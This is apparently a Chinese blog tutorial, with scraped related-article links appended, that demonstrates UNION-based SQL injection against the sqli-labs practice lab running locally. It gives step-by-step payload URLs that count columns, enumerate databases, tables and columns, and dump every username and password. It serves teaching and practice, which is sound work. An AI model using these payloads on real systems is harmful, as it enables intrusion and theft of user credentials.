目录数据库结构

注入示例判断共有多少字段

判断字段的显示位置

显示登录用户和数据库名

获取所有数据库名

获取对应数据库的表

获取对应表的字段

获取所有的用户密码

我们都是善良的银!一生戎码只为行侠仗义,知道这个不是为了做啥非法的事,只是知道小偷怎么偷东西才能更好地防范。

SQL注入(SQL Injection),指将非法的SQL命令插入到URL或者Web表单中请求,而这些请求被服务器认为是正常的SQL语句进行执行。

下面我们用sqli-labs这个开源项目来演示一下SQL注入盗取信息的全程,我们不是为了

sqli-labs是一个sql注入的练习靶机,项目地址为:/sqli-labs

源码是用php写的,这里我使用的是docker部署的,如下

这里我是去store.docker.com搜索的镜像使用:https://hub.docker.com/r/acgpiano/sqli-labs

运行

docker run -dt --name sqli-lab -p 8089:80 acgpiano/sqli-labs:latest

运行后打开http://127.0.0.1:8089/,界面如下

这是一个闯关的课程,一个有22课,接下来我们只会用到Less-1来演示,也就是单引号注入,但是核心原理其实都是通过UNIONt和CONCAT出对应的数据盗取信息。

更多技巧可以参考这篇文章:SQL注入篇——sqli-labs最详细1-75闯关指南

打开:http://127.0.0.1:8089/Less-1/,看到如下内容

我们输入id:http://127.0.0.1:8089/Less-1/?id=1,显示了id为1的用户

对应的php源码是这样的:

$sql="SELECT * FROM users WHERE id=‘$id‘ LIMIT 0,1";

相当于最后sql变成了

SELECT * FROM users WHERE id=‘1‘ LIMIT 0,1

知其然也知其所以然,欧耶~

数据库结构

数据库是这样的

注入示例

下面使用Less-1的单引号注入来演示一下盗取信息的过程

我们把id改成:id=1‘ and 1=1 -- -,访问

http://127.0.0.1:8089/Less-1/?id=1‘ and 1=1 -- -

可以正常访问,说明可以用单引号注入,SQL语句相当于变成了

SELECT * FROM users WHERE id=‘1‘ and 1=1 -- ‘ LIMIT 0,1

这就是传说中的单引号注入,相当于构造出了下面这样的语句

判断共有多少字段

UNION SELECT 1,user(),database()-- -- -

通过orderby试探,order by是可以直接指定字段的列来排序的,所以可以挨个试,

比如当我们使用order by 5,访问

http://127.0.0.1:8089/Less-1/?id=1‘ order by 5 -- -

报错了,说明不对

当我们用order by 3的时候,正常返回了,访问地址:

http://127.0.0.1:8089/Less-1/?id=1‘ order by 3 -- -

正常返回了,说明字段有3个。

判断字段的显示位置

UNION SELECT 1,2,3 -- -

我们构造一下,访问

http://127.0.0.1:8089/Less-1/?id=‘UNION SELECT 1,2,3 -- -

分别显示2和3,说明登录名和密码字段在2和3的位置

显示登录用户和数据库名

UNION SELECT 1,(SELECT group_concat(table_name) FROM information_schema.tables where table_schema = ‘security‘ ),3 -- -

已经匹配出了字段,接下来的所有用户信息都需要经过UNION相等的列来获取,访问

http://127.0.0.1:8089/Less-1/?id=‘ UNION SELECT 1,database(),user() -- -

我们看到当前使用的数据库名叫security,连接的用户是root超管

获取所有数据库名

UNION SELECT 1,2,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)-- -

访问

http://127.0.0.1:8089/Less-1/?id=‘ UNION SELECT 1,2,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)-- -

其实原理就是构造出了这样的语句

我们看到了数据库有information_schema、challenges、mysql、performance_schema、security

获取对应数据库的表

UNION SELECT 1,2,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=‘security‘) -- -

访问

http://127.0.0.1:8089/Less-1/?id=‘ UNION SELECT 1,2,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=‘security‘) -- -

访问如下

我们看到有emails、referers、uagents、users这四个表

获取对应表的字段

UNION SELECT 1,(SELECT group_concat(column_name) FROM information_schema.columns where table_schema = ‘security‘ and table_name=‘users‘ ),3 -- -

访问

http://127.0.0.1:8089/Less-1/?id=‘ UNION SELECT 1,(SELECT group_concat(column_name) FROM information_schema.columns where table_schema = ‘security‘ and table_name=‘users‘ ),3 -- -

可以看到用id、username、password3个字段

获取所有的用户密码

UNION SELECT 1,(SELECT group_concat(concat_ws(0x7e,username,password))FROM users),3 -- -

访问

http://127.0.0.1:8089/Less-1/?id=‘ UNION SELECT 1,(SELECT group_concat(concat_ws(0x7e,username,password)) FROM users),3 -- -

用户名和密码全出来了,厉害了我的哥!

到这里,我们就学会了怎么把对方所有的隐私load出来了,有点可怕啊!你学会了吗!

手把手教你通过SQL注入盗取数据库信息

mysql sql注入怎么获取数据_手把手教你通过SQL注入盗取数据库信息相关推荐

  1. 怎么获取codeforces的数据_手把手教你学会新媒体运营——如何通过数据分析来优化新媒体运营...

    一般来说,我们希望运营的新媒体的每篇内容都可以获得高打开率和高分享率.但事实并不总是如愿,因此,在新媒体运营过程当中,我们需要不断地优化自身内容,以求可以获得更多的关注和流量.那么我们今天来讨论下如何 ...

  2. 手把手教你入侵网站修改数据_手把手教你使用Python抓取QQ音乐数据(第四弹)...

    [一.项目目标] 通过手把手教你使用Python抓取QQ音乐数据(第一弹)我们实现了获取 QQ 音乐指定歌手单曲排行指定页数的歌曲的歌名.专辑名.播放链接. 通过手把手教你使用Python抓取QQ音乐 ...

  3. 过滤一批数据_手把手教你学numpy,从此数据处理不再慌【三】

    本文始发于个人公众号:TechFlow,原创不易,求个关注 今天是numpy专题的第三篇,我们来聊聊numpy当中的索引. 上篇的末尾其实我们简单地提到了索引,但是没有过多深入.没有过多深入的原因也很 ...

  4. c语言随机生成int64_t类型的数据_手把手教你代码生成(上):MATLAB代码生成

    FrancisZhao:专栏文章列表以及一些说明​zhuanlan.zhihu.com FrancisZhao:手把手教你代码生成(下):SIMULINK代码生成​zhuanlan.zhihu.com ...

  5. bootstraptable 怎么在特定行添加数据_手把手教你做一个“渣”数据师,用Python代替老情人Excel...

    大数据文摘出品 来源:medium 编译:张大笔茹 十年前,你说你是做数据的,大家的反应就是 -- 用 Excel 做做表. 现在,要成为一个合格的数据分析师,你说你不会 Python,大概率会被江湖 ...

  6. python读取mt4数据_手把手教你使用Python进行数据获取和作图

    最近在学习Python3做数据分析.就尝试用COT和汇率数据来练习一下.毕竟不实际找个东西做一下碰不到问题,也学不会啊. 话不多说,目标就是(1)抓取网络的COT数据,(2)结合MT4导出的汇率数据, ...

  7. java学生签到系统视频教程_手把手教你做一个Java web学生信息、选课、签到考勤、成绩管理系统附带完整源码及视频开发教程...

    四个阶段的Java web学生信息系统视频教程终于录制完成了,系统用到的知识点有:jsp+servlet+mysql+jquery+ajax,前端采用的是当下最流行的easyui管理框架,全部采用面向 ...

  8. mysql注入 xfkxfk_WSS最新版多处SQL注入直接获取数据三(官方demo演示及快速定位漏洞技巧)...

    ### 简要描述: WSS最新版多处SQL注入直接获取数据三,官方demo演示,这里存在多处,对同一问题进行总结 ### 详细说明: WSS最新版1.3.2,这里存在多处,并对此同一问题进行总结,以及 ...

  9. 软件_手把手教vscode配置c++,python开发环境

    原创:软件_手把手教vscode配置c++,python开发环境 之前主用Python作为项目开发语言,将项目迁移到arm边缘盒子上后发现arm的cpu不给力,软件速度低于预期,所以计划将部分程序改为 ...

最新文章

  1. python将ElasticSearch索引数据读入pandas dataframe实战
  2. oracle siplugincol表,ORACLE 经常使用的命令工具-第三章:表
  3. HTML DOCTYPE 的重要性
  4. isdigit函数python检测数字个数_Python isdecimal isdigit isnumeric区别
  5. 返回值是内置类型 不能更改_选择通过更改内容类型返回的详细程度,第二部分...
  6. 双11专刊|云原生数据仓库AnalyticDB支撑双11,大幅提升分析实时性和用户体验
  7. 2019年大数据发展趋势预测
  8. php redis auth 高并发,PHP+Redis高并发
  9. 商汤OCR文本检测+识别开源(FOTS),TF实现NBA记分牌识别
  10. Python之路 - 网络编程之Socket
  11. Java反射机制总结(实例分析)(一)
  12. 太实用了 Python 合成多张图片到PDF格式
  13. 事记:关于远控软件导致win10屏幕亮度无法调节的解决方案
  14. ab plc编程软件计算机语言,AB plc-Rslogix5000 software 软件编程实例.pdf
  15. 开始时间 结束时间,全程的运行时间的计算
  16. 你知道什么浊化现象吗?
  17. SLAM十四讲ch5 joinMap错误解决
  18. 基于SSM技术的医院在线预约诊疗系统设计与实现 毕业设计-附源码011130
  19. Android 调整进程的最大fd 数目
  20. 优秀的LOGO设计都有哪些共同点,是需要我们借鉴的?

热门文章

  1. VMware, Inc.VMware VUE考试中心代码
  2. VMware 大中华区原厂认证讲师(大陆地区)2019-8-19 更新
  3. Mysql学习总结(78)——MySQL各版本差异整理
  4. Linux学习总结(45)——Linux服务器出现卡慢的基本解决方法
  5. Solr学习总结(1)——Apache Solr快速入门
  6. 制度化规范化标准化精细化_管理技巧:为什么说企业制度化管理势在必行?好处太多了...
  7. 最大化窗口快捷键_计算机快捷键大全(最全篇)
  8. jquery ajax 拒绝访问,拒绝访问IE上的jQuery脚本
  9. oracle日期大于3个月,用三个月时间做oracle实验,养成实验习惯
  10. 循环机换变速箱油教程_汽车变速箱油啥时更换?重力换和循环机换有啥区别?注意啥?...